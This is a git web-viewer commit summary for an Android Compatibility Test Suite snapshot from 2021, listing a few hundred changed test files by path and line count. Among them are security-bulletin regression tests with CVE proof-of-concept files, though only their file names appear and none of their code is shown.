summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2021-10-06 22:21:26 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2021-10-06 22:21:26 +0000
commit3324a062003db62c2abbc7a994c5c383610cf81a (patch)
tree6d9aae29dfe186e79ae2a4251e067ff81b278fc0
parentf5eac9f1124f3e9b3c510bfab0c24e62f4103f61 (diff)
parent55e8aafd5ffe52387e49b47c339070060c142a45 (diff)
downloadcts-android12-mainline-statsd-release.tar.gz
Snap for 7799923 from 55e8aafd5ffe52387e49b47c339070060c142a45 to mainline-os-statsd-releaseandroid-mainline-12.0.0_r58android12-mainline-statsd-release
Change-Id: I724e39533f48dc5e83ea2b25baea574faa80a9ca
-rw-r--r--apps/CameraITS/tests/its_base_test.py12
-rw-r--r--apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py23
-rw-r--r--apps/CameraITS/tests/scene0/test_tonemap_curve.py86
-rw-r--r--apps/CameraITS/tests/scene1_1/test_crop_regions.py9
-rw-r--r--apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py14
-rw-r--r--apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py8
-rw-r--r--apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py10
-rw-r--r--apps/CameraITS/utils/camera_properties_utils.py2
-rw-r--r--apps/CameraITS/utils/image_processing_utils.py41
-rw-r--r--apps/CameraITS/utils/its_session_utils.py13
-rw-r--r--apps/CameraITS/utils/opencv_processing_utils.py48
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml13
-rw-r--r--apps/CtsVerifier/res/layout/audio_coldstart_common.xml5
-rw-r--r--apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml21
-rw-r--r--apps/CtsVerifier/res/values/strings.xml63
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java79
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java20
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java20
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java22
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java10
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java13
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java12
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java15
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java125
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java91
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java8
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java9
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java4
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java17
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java71
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java1
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java32
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java32
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java33
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java33
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java33
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java33
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java29
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java3
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java1
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java2
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java12
-rw-r--r--common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java5
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java18
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java70
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java47
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java47
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java57
-rw-r--r--hostsidetests/accounts/AndroidTest.xml2
-rw-r--r--hostsidetests/angle/Android.bp1
-rw-r--r--hostsidetests/angle/assets/emptyRules.json8
-rw-r--r--hostsidetests/angle/assets/enableAngleRules.json17
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java16
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java154
-rw-r--r--hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java132
-rw-r--r--hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java139
-rw-r--r--hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-capbin0 -> 879 bytes
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java2
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java6
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java34
-rw-r--r--hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java55
-rw-r--r--hostsidetests/appsecurity/test-apps/tinyapp/Android.mk43
-rw-r--r--hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml36
-rw-r--r--hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java4
-rw-r--r--hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java8
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java19
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java3
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java2
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java5
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java3
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java1
-rw-r--r--hostsidetests/edi/AndroidTest.xml4
-rw-r--r--hostsidetests/edi/app/AndroidManifest.xml35
-rw-r--r--hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java95
-rw-r--r--hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java171
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java3
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java30
-rw-r--r--hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java6
-rw-r--r--hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java12
-rw-r--r--hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java11
-rw-r--r--hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java23
-rw-r--r--hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java18
-rw-r--r--hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java3
-rw-r--r--hostsidetests/media/OWNERS6
-rw-r--r--hostsidetests/mediaparser/OWNERS6
-rw-r--r--hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java47
-rw-r--r--hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java7
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0689.pngbin0 -> 134 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0921.txt1
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_0925bin0 -> 12 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp37
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp34
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp70
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp48
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp102
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp144
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp207
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c70
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java21
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java54
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java47
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java2
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java13
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java10
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java46
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java38
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java49
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java68
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java43
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java39
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java31
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp (renamed from hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp)30
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml48
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml21
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java25
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java129
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java85
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java95
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java6
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java62
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml51
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml20
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java69
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java48
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java140
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java84
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java64
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java50
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp36
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java61
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java (renamed from hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java)16
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp (renamed from hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp)31
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml57
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml6
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml3
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml11
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml5
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java157
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java31
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java15
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java64
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java210
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java23
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java41
-rw-r--r--hostsidetests/userspacereboot/Android.bp38
-rw-r--r--hostsidetests/userspacereboot/AndroidTest.xml26
-rw-r--r--hostsidetests/userspacereboot/OWNERS2
-rw-r--r--hostsidetests/userspacereboot/TEST_MAPPING7
-rwxr-xr-xhostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java380
-rw-r--r--hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml49
-rw-r--r--hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java163
-rw-r--r--hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml28
-rw-r--r--hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java125
-rw-r--r--tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java71
-rw-r--r--tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java2
-rw-r--r--tests/admin/Android.bp1
-rw-r--r--tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java103
-rw-r--r--tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java44
-rw-r--r--tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt12
-rw-r--r--tests/app/src/android/app/cts/ActivityManagerTest.java58
-rw-r--r--tests/app/src/android/app/cts/DownloadManagerTest.java3
-rw-r--r--tests/app/src/android/app/cts/ServiceTest.java2
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java27
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java11
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java5
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java2
-rw-r--r--tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java6
-rw-r--r--tests/filesystem/AndroidManifest.xml3
-rw-r--r--tests/filesystem/src/android/filesystem/cts/FileActivity.java37
-rw-r--r--tests/filesystem/src/android/filesystem/cts/RandomRWTest.java2
-rw-r--r--tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java3
-rw-r--r--tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java20
-rw-r--r--tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java4
-rw-r--r--tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java7
-rw-r--r--tests/framework/base/windowmanager/AndroidManifest.xml2
-rwxr-xr-xtests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java13
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java7
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java6
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java18
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java15
-rw-r--r--tests/libcore/jsr166/AndroidTest.xml3
-rw-r--r--tests/libcore/luni/AndroidTest.xml3
-rw-r--r--tests/libcore/ojluni/AndroidTest.xml3
-rw-r--r--tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml3
-rw-r--r--tests/libcore/wycheproof-bc/AndroidTest.xml3
-rw-r--r--tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java29
-rw-r--r--tests/media/OWNERS8
-rw-r--r--tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java41
-rw-r--r--tests/media/src/android/mediav2/cts/CodecTestBase.java3
-rw-r--r--tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java12
-rw-r--r--tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java20
-rw-r--r--tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java4
-rw-r--r--tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java20
-rw-r--r--tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java10
-rw-r--r--tests/tests/accounts/OWNERS1
-rw-r--r--tests/tests/app.usage/TestApp1/AndroidManifest.xml7
-rw-r--r--tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java26
-rw-r--r--tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java66
-rw-r--r--tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java87
-rw-r--r--tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java10
-rw-r--r--tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt22
-rw-r--r--tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java2
-rw-r--r--tests/tests/assist/src/android/assist/cts/AssistTestBase.java58
-rw-r--r--tests/tests/assist/src/android/assist/cts/ScreenshotTest.java48
-rw-r--r--tests/tests/content/BinderPermissionTestService/Android.bp1
-rw-r--r--tests/tests/content/DirectBootUnawareTestApp/Android.bp1
-rw-r--r--tests/tests/content/HelloWorldApp/Android.bp5
-rw-r--r--tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp1
-rw-r--r--tests/tests/content/SyncAccountAccessStubs/Android.bp1
-rw-r--r--tests/tests/content/emptytestapp/Android.bp5
-rw-r--r--tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java11
-rw-r--r--tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java17
-rw-r--r--tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java8
-rw-r--r--tests/tests/display/src/android/display/cts/DisplayTest.java88
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java21
-rw-r--r--tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java2
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java115
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java9
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java3
-rw-r--r--tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java10
-rw-r--r--tests/tests/libcoreapievolution/AndroidTest.xml3
-rw-r--r--tests/tests/libcorefileio/AndroidTest.xml3
-rw-r--r--tests/tests/libcorelegacy22/AndroidTest.xml3
-rw-r--r--tests/tests/media/OWNERS7
-rw-r--r--tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java10
-rw-r--r--tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java21
-rwxr-xr-xtests/tests/media/src/android/media/cts/AudioTrackTest.java12
-rw-r--r--tests/tests/media/src/android/media/cts/DecoderTest.java306
-rw-r--r--tests/tests/media/src/android/media/cts/MediaActivityTest.java17
-rw-r--r--tests/tests/media/src/android/media/cts/MediaCodecListTest.java9
-rw-r--r--tests/tests/media/src/android/media/cts/MediaCodecTest.java4
-rw-r--r--tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java15
-rw-r--r--tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java12
-rw-r--r--tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java4
-rw-r--r--tests/tests/mediaparser/OWNERS4
-rw-r--r--tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java5
-rw-r--r--tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt13
-rw-r--r--tests/tests/os/src/android/os/cts/AppHibernationUtils.kt7
-rw-r--r--tests/tests/os/src/android/os/cts/AutoRevokeTest.kt8
-rw-r--r--tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt6
-rw-r--r--tests/tests/os/src/android/os/cts/FileObserverTest.java7
-rw-r--r--tests/tests/os/src/android/os/cts/StrictModeTest.java3
-rw-r--r--tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java23
-rw-r--r--tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java18
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt5
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt1
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt3
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt22
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt2
-rw-r--r--tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt42
-rw-r--r--tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java3
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java6
-rw-r--r--tests/tests/security/AndroidManifest.xml1
-rw-r--r--tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp12
-rw-r--r--tests/tests/security/res/raw/cve_2020_11299.mkvbin0 -> 1822 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2021_1910.mkvbin0 -> 8958 bytes
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java12
-rw-r--r--tests/tests/sensorprivacy/Android.bp1
-rw-r--r--tests/tests/sensorprivacy/AndroidTest.xml1
-rw-r--r--tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt54
-rw-r--r--tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt11
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp (renamed from hostsidetests/edi/app/Android.bp)27
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml43
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt30
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt92
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp4
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt103
-rw-r--r--tests/tests/sensorprivacy/test-apps/utils/Android.bp14
-rw-r--r--tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml20
-rw-r--r--tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt156
-rw-r--r--tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java105
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt2
-rw-r--r--tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java43
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java2
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java3
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java31
-rw-r--r--tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java13
-rw-r--r--tests/tests/uirendering/res/layout/simple_shadow_layout.xml4
-rw-r--r--tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java8
-rw-r--r--tests/tests/view/src/android/view/cts/PixelCopyTest.java58
-rw-r--r--tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java2
-rw-r--r--tests/tests/voiceinteraction/service/AndroidManifest.xml1
-rw-r--r--tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java15
-rw-r--r--tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java7
-rw-r--r--tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java10
-rw-r--r--tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java26
-rw-r--r--tests/tests/widget/src/android/widget/cts/ToastTest.java13
-rw-r--r--tests/tests/wifi/AndroidTest.xml1
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java17
-rw-r--r--tests/uwb/src/android/uwb/cts/UwbManagerTest.java2
-rw-r--r--tools/cts-tradefed/res/config/cts-camera-hal.xml30
-rw-r--r--tools/cts-tradefed/res/config/cts-foldable.xml3
